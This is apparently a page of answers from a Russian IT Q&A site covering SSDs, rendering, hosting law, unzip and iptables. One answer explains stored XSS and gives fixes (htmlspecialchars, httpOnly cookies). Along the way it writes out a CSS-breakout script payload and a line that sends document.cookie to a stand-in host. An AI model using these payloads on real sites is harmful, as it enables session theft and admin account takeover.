Задать вопрос
  • Оптимальная модель серверного SSD?

    mindtester
    @mindtester
    http://iczin.su/hexagram_48
    в любом случае Intel
    Ответ написан
    Комментировать
  • Будет ли норм если много засунуть в массив?

    Stalker_RED
    @Stalker_RED
    Смотря какой размер записи.
    120к по 10 байт = 1.2мб
    120к по 1000 байт = 120мб

    Ну и вообще, оно точно вам нужно все целиком? Можно же частично подгружать по мере надобности.
    Ответ написан
    8 комментариев
  • Реально ли перегрузить БД частыми запросами?

    DevMan
    @DevMan
    реально.
    но 3-5к в час - это совсем не много.
    Ответ написан
    3 комментария
  • Как работают видеоредакторы?

    vesper-bot
    @vesper-bot
    Любитель файрволлов
    Вкратце - это называется рендер. Он бывает 2D и 3D, при 2D примитивы двигаются напрямую по области экрана, при 3D рисуется трехмерная сцена. Для отрисовки 3D используется специальное ПО: Maya, 3DS Max, ещё несколько. Данные для сцен кодируются в специфических форматах, данные движения - отдельно, текстуры отдельно, материалы ("синий" - это какой? Блестящий или нет, шершавый или нет, если шершавый, то какой именно? Это всё свойства материала) отдельно. Потом ПО собирает всю информацию в сцену и запускает ray tracing или проверку каждого луча, идущего от зрителя в каждый пиксель (или субпиксель, т.е. несколько лучей на пиксель), куда он попал, куда отразился, куда был преломлен, куда в итоге улетел, и прочие эффекты вроде bump mapping'a, фонового освещения и ещё много чего, что может технически быть на сцене. Из этих пикселей собирается один кадр.

    Если разговор об игровом рендеринге, то подход меняется на отрисовку полигонов вместо трассировки лучей - трассировка чересчур затратная, а frame rate нужно держать на уровне. Спецэффекты, освещение, bump mapping и подобное реализуются шейдерами на GLSL/HLSL или чем-то более продвинутом, сцена кодируется в BSP или другом формате, специфическом для игрового движка (BSP - "дедушка" трехмерных сцен, использовался в Quake 1), объекты внутри сцены имеют свои структуры в том же формате, а для отрисовки используются OpenGL, Direct3D/DirectX и на нижнем уровне - всё те же C++.

    А если разговор о том, как потом собрать видеофайл, то собирается он из статичных картинок, как мультики, скажем, с использованием какого-либо видеокодека.
    Ответ написан
    5 комментариев
  • Linux монтирование удаленной шары при старте сервера?

    @tamogavk
    @deni4ka
    Добавьте в fstab
    Ответ написан
    Комментировать
  • Какой хостинг выбрать для сайта фрилианс?

    CityCat4
    @CityCat4 Куратор тега Сетевое администрирование
    Дома с переломом ноги
    Уржаца.

    Начать надо конечно с ФЗ 152 и с того, что бывает за его нарушения. А если это будут граждане Евросоюза - то и GDPR придется поизучать, а там даже повеселее будет.

    Хранение платежных реквизитов карт - тут еще веселее. В вопросе по ссылке есть ссылка же на требования к сайтам платежных систем, так называемые PCI DSS, которым придется соответствовать, чтобы их хранить.

    Ну и последнее - о хранении паролей. Их не хранят вообще. Нигде. Никто. Никогда. Хранят преобразования от паролей - хэши в самых их разнообразных формах на тот случай, если базу все-таки сольют, чтобы пароли не утекли.

    Надежность хостинга тут на самом последнем месте...
    Ответ написан
    4 комментария
  • Можно ли у Aruba VPS ($1) увеличить hdd?

    GavriKos
    @GavriKos
    Служба техподдержки Aruba на другом сайте.
    Ответ написан
    Комментировать
  • Можно ли попасть в BIOS при неисправности железа ПК?

    @stratosmi
    Если исправна оперативная память, процессор и кулер, а неисправна какая то периферия - можете войти.
    Ответ написан
    Комментировать
  • Специалисты из Нью-Йоркского университета предлагают добавлять "фальшивые баги" в ПО для борьбы со злоумышленниками. Как считаете, поможет ли?

    Stalker_RED
    @Stalker_RED
    То есть они взяли идею honeypot'ов, которой лет 30, и расширили ее с сетей на код? Да, при правильном исполнении можно значительно замедлить взлом а может даже засечь попытки.
    Ответ написан
    2 комментария
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Это вообще люди делают?

    dimovich85
    @dimovich85 Куратор тега CSS
    https://u-academy.net/
    Поделюсь с вами вот такой ссылкой:
    https://www.youtube.com/playlist?list=PLswdBLT9llb...
    Ответ написан
    1 комментарий
  • Что если человек написавший библиотеку удалит её?

    sergey-gornostaev
    @sergey-gornostaev Куратор тега Java
    Седой и строгий
    Если вы загляните в публичные репозитории, типа mvnrepository.com, откуда gradle скачивает артифакты, то сможете заметить, что любая библиотека доступна во всех её версиях. Каждый раз, когда автор вносит изменения, публикуется новая версия, но старая никуда не девается. Поэтому изменений можно не бояться. Да и удаления тоже, так как, на сколько мне известно, mvnrepository не позволяет библиотеки удалять. Самое страшное, что может случиться - библиотека перестанет развиваться.
    Ответ написан
    Комментировать
  • Как найти текст игнорируя теги?

    alexey-m-ukolov
    @alexey-m-ukolov Куратор тега JavaScript
    Раз у вас javascript, сам бог велел использовать рекурсивный обход DOM, чтобы решить эту задачу нормально. Тогда не нужно будет вообще думать о тегах и их атрибутах. Регулярные выражения нужно использовать там, где текст имеет чёткую заранее известную структуру, это не про произвольный html.

    Код очень простой и понятный: https://jsfiddle.net/alexey_m_ukolov/nfah953z/7/
    Ответ написан
  • Сборник задач по linux?

    sfi0zy
    @sfi0zy
    Creative frontend developer
    сборник задач/задачник по серверному линуксу/системному администрированию linux'a/*nix'ов... Сложность задач не важна, но желательно для средненького уровня... Желательно чтобы были именно задачи представленные в виде списка. И побольше)))

    toster.ru/tag/linux/questions - больше 14к реальных задач и проблем, которые возникли у реальных людей. Уровни сложности самые разные.
    Ответ написан
    Комментировать
  • Как достучаться до провайдера, чтобы он перестал маршрутизировать трафик через другую страну?

    Jump
    @Jump
    Системный администратор со стажем.
    Как можно решить проблему?
    Перейти к другому провайдеру.

    Кому пожаловаться?
    Можно в спортлото написать...

    Провайдер это частная коммерческая компания продающая услуги по подключению к сети интернет.
    Она оказывает услугу, вы за нее платите.
    Если услуга по вашему мнению не стоит той платы - можете разорвать договор.

    Как маршрутизировать трафик - это уже внутренние проблемы провайдера, которые вас не касаются, как удобней и дешевле, так и маршрутизирует.

    Поддержка Мегафона отмороженная, проблема на их стороне
    Это не является проблемой с точки зрения провайдера - трафик идет, чего еще надо?

    Если вы являетесь крупным корпоративным клиентом - сообщите менеджеру, может они пойдут вам на встречу.

    Можно ли настучать магистральному провайдеру на Мегафон за то, что он шлёт трафик в магистраль попусту?
    Магистральному провайдеру это очень выгодно. Чем больше Мегафон шлет, тем больше денег. А настучать можно куда угодно, и на кого угодно.

    Честно говоря, не понимаю.
    Это значит что мегафон подключен к данной магистрали в Киеве.
    Мегафон подключен к множеству различных магистралей в разных точках, и направляет трафик через более удобную ему точку.
    Удобство зависит от цены, схемы сети, нагрузки на разные каналы и кучи других факторов, но главное это конечно цена.
    Ответ написан
    Комментировать
  • В чем отличие 4K монитора от 4K телевизора?

    Moskus
    @Moskus
    Различие между монитором и телевизором (если не считать наличия в телевизоре тюнера и различия в наборе входов) в том, какой у них диапазон яркостей (телевизоры имеют более яркую подсветку), какая выбрана гамма-кривая (у телевизоров она настроена на более сильный контраст), какой диапазон насыщенности. Возможно, еще и в наличии режимов адаптации к разным соотношениям сторон картинки входного сигнала.

    То, что вы наблюдали, не имеет никакого отношения к устройству матрицы - это, вероятно, результат того, что в магазине нет источника 4К видео.
    Ответ написан
    Комментировать
  • Как разархивировать zip-файл в нужный каталог?

    Директорию для распаковки в unzip нужно передавать агрументом -d.
    unzip /var/www/html/magento/magento.zip -d /var/www/html/magento/
    Ответ написан
    Комментировать
  • Как самому оценить достиг ли ты junior web development?

    rockon404
    @rockon404
    Frontend Developer
    Пройдите техническое интервью в любую нормальную компанию на позицию junior web developer и узнайте.
    Подобные интервью хорошо выявляют слабые места и пробелы в знаниях, если они есть.
    Ответ написан
    Комментировать
  • Продлить ssl сертификат или купить новый?

    ky0
    @ky0
    Миллиардер, филантроп, патологический лгун
    Покупать сертификаты в 2018 году...

    https://letsencrypt.org
    Ответ написан
    5 комментариев
  • Что нужно поправить в настройках iptables чтобы заработал VPN из локалки?

    ShturmN
    @ShturmN
    инженер
    Попробуйте в консоли от рута:
    modprobe ip_nat_pptp
    modprobe ip_conntrack_pptp
    Ответ написан
    Комментировать